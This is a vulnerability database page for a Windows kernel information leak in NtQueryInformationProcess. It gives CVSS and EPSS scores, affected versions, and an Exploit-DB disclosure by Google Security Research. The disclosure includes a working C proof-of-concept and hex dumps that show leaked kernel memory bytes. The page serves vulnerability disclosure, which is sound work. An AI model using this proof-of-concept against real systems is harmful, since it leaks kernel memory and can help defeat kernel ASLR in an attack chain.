Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
5.5 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 44463
Publication date : 2018-04-15 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
We have discovered that the nt!NtQueryInformationProcess system call invoked with the ProcessImageFileName (0x1B) information class discloses uninitialized kernel memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
According to the ZwQueryInformationProcess function documentation [1], the ProcessImageFileName information class returns a UNICODE_STRING structure containing the name of the image file for the specific process. The definition of the structure is as follows:
--- cut ---
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
--- cut ---
On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. These padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form. Interestingly, on Windows 7, the uninitialized bytes originate from a pool allocation, while on Windows 10, they come from uninitialized kernel stack memory (specifically from the stack frame of the nt!PspInitializeFullProcessImageName function, according to our tests).
The problem is best illustrated by running the attached proof-of-concept program, which invokes the nt!NtQuerySystemInformation syscall with the affected information class and prints the contents of the output buffer on the screen. The result of running it in our test Windows 7 environment is as follows:
--- cut ---
C:\>NtQueryInformationProcess_ImageFileName.exe
Status: 0, Return Length: 98
00000000: 86 00 88 00 55 55 55 55 e0 ca 77 3f 01 00 00 00 ....UUUU..w?....
00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
C:\>NtQueryInformationProcess_ImageFileName.exe
Status: 0, Return Length: 98
00000000: 86 00 88 00 71 71 71 71 e0 ca d2 3f 01 00 00 00 ....qqqq...?....
00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---
It is clearly visible that the 4 bytes at offsets 0x4-0x7 are equal to the markers inserted by Special Pools, and would otherwise contain leftover data previously stored in that pool memory region. On Windows 10, we have observed portions of kernel pointers and other leftover data from the kernel stack within these 4 bytes of padding.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdio>
#pragma comment(lib, "ntdll.lib")
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
static BYTE OutputBuffer[1024];
ULONG ReturnLength = 0;
NTSTATUS Status = NtQueryInformationProcess(GetCurrentProcess(), ProcessImageFileName, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
PrintHex(OutputBuffer, ReturnLength);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version *
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version *
References